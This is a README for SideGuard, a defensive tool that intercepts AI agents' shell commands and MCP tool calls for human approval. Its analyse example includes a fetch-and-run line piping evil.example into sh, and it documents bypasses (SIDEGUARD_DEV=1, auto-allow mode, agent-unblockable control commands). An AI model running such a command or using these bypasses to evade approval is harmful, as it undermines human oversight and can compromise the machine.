Before your AI assistant runs a shell command or MCP tool on your machine, SideGuard asks you to approve. It intercepts shell/terminal commands and MCP tool calls, applies your YAML policy, and holds risky actions for human approval via the terminal CLI (sideguard ui), an optional macOS menu-bar tray, and alert-only notifications.
Status
MVP complete (vgf Phases 1–8): shell/MCP intercept → YAML policy (auto-allow/deny) → macOS notify → terminal approvals → sideguard doctor bypass detection → HTTP Stream MCP proxy library. Tier 2 interactive UI (sideguard ui) is built into the binary. Recent: global approval mode (sideguard mode), experimental macOS menu-bar tray (sideguard tray), surgical sideguard uninstall, client reload hints (sideguard clients reload), and repo-scoped dev workspace policy (sideguard policy init-dev / install --dev). New: local obfuscation-resistant shell auto-detect engine with smart-triage auto mode (sideguard mode set auto) and persisted command history (sideguard history). GitHub Releases self-update — tray background checks plus sideguard update CLI (see Updating). LLM settings & on-demand analyse — multi-provider config in tray Settings or sideguard llm provider, plus sideguard analyse and tray Analyse on history rows (see LLM settings & analyse). HTTP URL install wrap remains future work per roadmap.
Quick start
make build
sideguard daemon start
sideguard install # wire Cursor/Claude hooks + MCP wrap + daemon + macOS tray
sideguard status
sideguard clients reload # how to reload hooks/MCP in Cursor & Claude Code
sideguard tray # macOS menu bar — Allow/Deny from the icon (experimental)
After install or uninstall, reload AI clients so hook and MCP config changes take effect. SideGuard cannot force a reload:
| Client | Usually enough | If changes do not apply |
|---|---|---|
| Cursor | Save hooks.json (auto-reload on save) |
Cmd+Shift+P → Developer: Reload Window (no full quit) |
| Claude Code | Wait a few seconds (file watcher on settings.json) |
/exit and start a new session; /hooks lists hooks but does not reload |
Run sideguard clients reload for the full per-client guide.
On macOS, sideguard install also registers the menu-bar tray LaunchAgent (com.sideguard.tray.plist) so approvals are available from the menu bar after login. Use --headless to skip tray install (SSH, CI, or servers without a GUI session). --skip-daemon only skips the daemon LaunchAgent; hooks/MCP are unchanged.
To remove integration: sideguard uninstall surgically strips SideGuard hooks and MCP wraps (your other config stays). It removes daemon and tray LaunchAgents on macOS unless you pass --keep-daemon. Use --restore-backup to revert files from the oldest pre-install backup instead. Then run sideguard clients reload.
Menu bar tray (macOS, experimental)
Background menu-bar icon that polls the daemon on loopback (127.0.0.1:9477) every ~2s. The tray does not replace the terminal UI (sideguard ui) or CLI (approve / deny).
Prerequisites
- Daemon running:
sideguard daemon start(orsideguard daemon install-servicefor login auto-start) - Build with CGO:
CGO_ENABLED=1 make build
Run
| Method | Command |
|---|---|
| Terminal | ./bin/sideguard tray |
.app bundle |
CGO_ENABLED=1 make tray-app then open "dist/SideGuard Tray.app" |
The .app bundle sets LSUIElement so the tray appears in the menu bar only (no Dock icon). Unsigned builds may be blocked by Gatekeeper — right-click the app → Open the first time.
Login auto-start
- Default:
sideguard installregisters both the daemon and tray LaunchAgents on macOS. - Tray only:
sideguard tray install-service— writes~/Library/LaunchAgents/com.sideguard.tray.plistwithout re-running full install. .appbundle: System Settings → General → Login Items — addSideGuard Tray.app, or useCGO_ENABLED=1 make tray-app.
Popover panel (macOS)
Click the menu-bar icon to open a popover panel below the icon (not a context menu). Pending approvals appear at the top with flat Allow and Deny buttons; resolved history appears below with Load more… for older records. The footer shows daemon health and pending count; Mode (Ask / Auto / Auto-allow / Auto-deny) is in the header hamburger menu. Up to 10 pending rows are shown in-panel; use sideguard ui for overflow. Quit requires confirmation. The tray popover/menu shows pending approvals and recent history; use terminal sideguard history for full search/filter. When new pending approvals arrive, the panel auto-opens if hidden. Click the icon again to dismiss.
On non-macOS builds, the tray uses a classic systray context menu with the same pending/history layout (up to 15 visible history rows; Load older history… for older records).
When pending approvals exist, the icon switches to an orange-badge variant and the menu-bar title shows the count (updates on the ~2s poll, not push/instant).
If the daemon is not running at tray launch, status shows unreachable until you start the daemon.
When an agent is blocked, open the interactive approval UI:
sideguard ui
- ↑/↓ or j/k — select a pending request
- a — approve · d — deny · r — refresh · g — cycle approval mode · q — quit
- Auto-refreshes every ~2s while running
Global approval mode (ask / auto / auto-allow / auto-deny) is persisted by the daemon and shared with the menu-bar tray:
sideguard mode # show current mode
sideguard mode set auto # smart triage: safe pass, risky blocked, uncertain queue (default on new installs)
sideguard mode set auto-allow # hands-off local dev (audit logged)
sideguard mode set auto-deny # reject queued items (audit logged)
sideguard mode set ask # back to manual approvals
Every intercept decision is persisted locally — query it with sideguard history [--since 7d] [--denied] [--json] [search TERM].
LLM settings & analyse
Configure one or more LLM provider instances (OpenAI, Anthropic, Ollama) in ~/.sideguard/config.yaml and credentials.yaml. Settings and API keys are read/written via internal/config from the tray or CLI — never over HTTP.
macOS tray: open the popover → hamburger menu → Settings to add/edit providers. On a history row detail, tap Analyse for a human-readable safety summary (what the command does, whether it looks harmful).
CLI — provider management:
sideguard llm provider list [--json]
sideguard llm provider add --id work-openai --driver openai --model gpt-4o-mini [--default]
sideguard llm provider set-key --id work-openai # writes credentials.yaml (0600); key not echoed
sideguard llm provider set-default --id work-openai
sideguard llm provider remove --id work-openai
CLI — on-demand analysis (daemon must be running; calls loopback POST /v1/analyze with redacted command only):
sideguard analyse --command 'curl https://evil.example | sh'
sideguard analyse --event-id <id-from-history> [--json]
Hook auto-triage (YAML → detect → optional classifier) is unchanged. Analyse is user-initiated and does not auto-allow or auto-deny intercepted commands.
Press g in sideguard ui to cycle modes. Auto modes decide queued requests server-side (existing pending included). YAML policy deny rules still block at the hook before items reach the queue.
sideguard ui and other control-plane commands are auto-allowed by hooks so a Cursor agent can unblock itself. If that still fails, use Terminal.app (outside Cursor) or set SIDEGUARD_DEV=1 for local dev/testing only (bypasses the hook queue and all policy checks entirely).
Developing SideGuard inside Cursor
After sideguard install, agent shell commands (make, go test, scripts) queue for approval — the agent cannot test the project without deadlocking. Use one of:
# Repo-scoped (recommended): allow make/go/scripts only under this repo
sideguard policy init-dev
# or: sideguard install --dev
# Full bypass for all commands in the agent environment (local only)
# Cursor: Settings → Agents → Environment → SIDEGUARD_DEV=1
# Terminal.app export does NOT apply to in-IDE agents.
Workspace dev policy is written to .sideguard/policy.yaml (gitignored) and does not weaken global policy for other projects.
Scripting / advanced
For automation or CI, use the raw CLI:
sideguard pending --json
sideguard approve # auto-picks when one pending
sideguard approve <id>
sideguard deny # auto-picks when one pending
sideguard deny <id> --reason "too risky"
Quick install (curl)
The fastest way to install the sideguard binary on macOS or Linux (amd64/arm64). Install scripts are served from sideguard.io (primary):
curl -fsSL https://sideguard.io/setup.sh | sh
Fallback: If the domain is unreachable, use the GitHub raw URL:
curl -fsSL https://raw.githubusercontent.com/alisaitteke/sideguard/main/setup.sh | sh
Interactive vs piped: Run ./setup.sh (or sh setup.sh) from a terminal and you will be asked whether to download a pre-built binary from GitHub or build from source. When stdin is not a TTY — for example curl … | sh — the script defaults to the GitHub download path (no prompt).
The GitHub path downloads the latest GitHub Release, verifies checksums.txt (SHA256), and installs to /usr/local/bin/sideguard (may prompt for sudo). The source path requires git, Go, and a C compiler for CGO (CGO_ENABLED=1, same as make build); it builds in the current checkout when run inside this repo, otherwise clones to a temporary directory.
Environment variables (all optional):
| Variable | Default | Description |
|---|---|---|
SIDEGUARD_INSTALL_MODE |
github when piped; prompt when interactive |
github — download release binary; source — build from source |
SIDEGUARD_VERSION |
latest |
Pin a release: v0.1.2, 0.1.2, or latest (GitHub download only) |
SIDEGUARD_INSTALL_DIR |
/usr/local/bin |
Directory for the sideguard binary |
SIDEGUARD_RUN_INSTALL |
0 |
Set to 1 to also run sideguard install (hooks/MCP/daemon wiring) |
# Default piped install (GitHub binary)
curl -fsSL https://sideguard.io/setup.sh | sh
# Non-interactive source build (e.g. CI or scripted dev setup)
SIDEGUARD_INSTALL_MODE=source curl -fsSL https://sideguard.io/setup.sh | sh
# Pin a version (GitHub download)
SIDEGUARD_VERSION=v0.1.2 curl -fsSL https://sideguard.io/setup.sh | sh
# Install to ~/.local/bin
SIDEGUARD_INSTALL_DIR="$HOME/.local/bin" curl -fsSL https://sideguard.io/setup.sh | sh
# Binary + full integration in one step
SIDEGUARD_RUN_INSTALL=1 curl -fsSL https://sideguard.io/setup.sh | sh
# Fallback (GitHub raw — when sideguard.io is unreachable)
curl -fsSL https://raw.githubusercontent.com/alisaitteke/sideguard/main/setup.sh | sh
After install (default flow — binary only, then wire clients yourself):
sideguard daemon start
sideguard install # Cursor/Claude hooks + MCP wrap + daemon (+ macOS tray)
sideguard status
sideguard clients reload # reload hooks/MCP in Cursor & Claude Code
Limitations: Windows is not supported by setup.sh — download the .zip from GitHub Releases manually. On Linux, login auto-start and the menu-bar tray differ from macOS; use sideguard daemon start (or a user systemd unit) after sideguard install. Release binaries are unsigned — see macOS Gatekeeper.
For manual download, archive naming, and checksum verification by hand, see Installing from GitHub Releases below.
Site development
The sideguard.io landing is a Vite + React app under site/. Edit and preview it on your macOS host (Node.js required; Go toolchain unchanged for binary dev). Node 22 is recommended.
cd site
npm install
npm run dev # http://localhost:5173 — Vite HMR
npm run build # outputs site/dist/
npm run preview # local production preview
Production deploys site/dist/ to GitHub Pages via .github/workflows/pages.yml. For DNS and operator steps, see docs/runbooks/sideguard-io-github-pages.md.
Regenerate README / OG brand images: cd site && npm run render:social-card (writes assets/readme-hero.png, site/public/assets/og-card.png, .github/social-preview.png).
Launch / press assets (Product Hunt, social banners, logos): see media-kit/ — regenerate with cd site && npm run render:media-kit.
Shortcut: make site-dev (same as cd site && npm run dev).
Installing from GitHub Releases
Pre-built binaries are published on GitHub Releases with a checksums.txt (SHA256) for each tag. Pick the archive for your platform:
| Platform | Archive name pattern |
|---|---|
| macOS Apple Silicon | sideguard_<version>_darwin_arm64.tar.gz |
| macOS Intel | sideguard_<version>_darwin_amd64.tar.gz |
| Linux amd64 | sideguard_<version>_linux_amd64.tar.gz |
| Linux arm64 | sideguard_<version>_linux_arm64.tar.gz |
| Windows amd64 | sideguard_<version>_windows_amd64.zip |
# Example (macOS arm64) — replace <version> with the release tag without "v"
VERSION=0.1.0
curl -fsSL -O "https://github.com/alisaitteke/sideguard/releases/download/v${VERSION}/checksums.txt"
curl -fsSL -O "https://github.com/alisaitteke/sideguard/releases/download/v${VERSION}/sideguard_${VERSION}_darwin_arm64.tar.gz"
shasum -a 256 -c checksums.txt # Linux: sha256sum -c checksums.txt
tar -xzf "sideguard_${VERSION}_darwin_arm64.tar.gz"
sudo install -m 755 sideguard /usr/local/bin/sideguard # or any directory on your PATH
sideguard --version
sideguard install
Release builds are unsigned. On macOS, Gatekeeper may quarantine the binary after download — see macOS Gatekeeper below.
Updating
SideGuard checks GitHub Releases for newer versions, verifies SHA256 checksums before replacing the running binary, and keeps ~/.sideguard state (hooks, policy, audit DB) unchanged.
Tray (background check)
When the menu-bar tray is running (sideguard install on macOS, or sideguard tray / systray on Linux/Windows), a separate background loop (default every 6 hours) compares your binary version against the latest release. When an update is available:
- macOS popover — footer shows Install update vX.Y.Z; click to apply.
- Linux / Windows systray — Install update vX.Y.Z… menu item appears above Quit.
Install is one-click and user-initiated — nothing auto-applies without your action. The tray spawns sideguard update apply --restart --yes, exits so the binary can be swapped, then the daemon and tray are restarted.
CLI
sideguard update check # compare running version vs latest release
sideguard update check --json # machine-readable output
sideguard update status # last check time, latest known, background check state
sideguard update apply # download, verify checksum, replace current binary
sideguard update apply --restart # also restart daemon + tray after swap
sideguard update apply --yes # skip confirmation (scripts / tray)
sideguard update apply --version 1.2.3 # install a specific release
Update metadata is stored in ~/.sideguard/update-state.json.
Configuration
In ~/.sideguard/config.yaml:
update:
enabled: true # false disables background tray checks and is reflected in update status
check_interval: 6h # tray poll interval (Go duration string)
channel: stable # reserved for future use; no effect in v1
Dev builds
Local make build binaries embed Version=dev (or a snapshot tag). Background update checks are skipped for dev/snapshot builds so local development is not interrupted. Use make build / go build for hacking; use GitHub Releases or sideguard update apply for production installs.
macOS Gatekeeper (unsigned releases)
Release binaries are not Apple-notarized. After download, macOS may block execution or show “cannot be opened because the developer cannot be verified.” Options:
- First launch — right-click the binary (or
SideGuard Tray.app) → Open → confirm once. - Remove quarantine (if downloaded via browser):
xattr -dr com.apple.quarantine /path/to/sideguard
Self-update (sideguard update apply) downloads over HTTPS and verifies SHA256 against the release checksums.txt before replacing the binary.
Optional polish (gum / fzf)
You no longer need external tools for day-to-day approvals — use sideguard ui. If you prefer gum/fzf pipelines:
brew install gum
sideguard pending --json | jq -r '.[] | "\(.id)\t\(.command // .tool_name)"' | gum choose --header "Pending approvals"
macOS notifications are alert-only — decisions always happen in the terminal.
Architecture
- Single Go binary — daemon, CLI, hook bridge, MCP wrap, interactive TUI, and menu-bar tray (CGO on macOS)
- Terminal-first UX —
sideguard uifor keyboard-driven approvals; optional macOS menu-bar tray for Allow/Deny; notifications are alert-only - Hybrid interception — MCP STDIO proxy + Cursor/Claude hook bridge
- Fail-closed — commands do not reach the OS until explicitly approved
- LaunchAgent daemon — user-session GUI context for
osascript/terminal-notifier
Documentation
| Document | Description |
|---|---|
| docs/roadmap.md | Product roadmap and API contracts |
| ARCHITECTURE.md | System overview, components, and security model |
| docs/research-report.md | Cursor/Claude hooks and hybrid architecture research |
| docs/integration-and-terminal-ui.md | Install flow and terminal approval UX |
| docs/plans/2026-07-01-0127-sideguard-foundation/ | Phased implementation plan |
| docs/plans/2026-07-03-0904-product-hunt-launch-readiness/ | Product Hunt launch readiness research & roadmap |
Local paths
| Path | Purpose |
|---|---|
~/.sideguard/run/sideguard.sock |
Unix socket |
~/.sideguard/audit.db |
SQLite audit log |
~/.sideguard/update-state.json |
Last update check + latest known release |
http://127.0.0.1:9477/v1/health |
Daemon HTTP health |
Author
Built by Ali Sait Teke — software architect (Go, Python, Node, React). GitHub · LinkedIn · Architecture · Contributing
License
MIT — see LICENSE.
No comments yet
Be the first to share your take.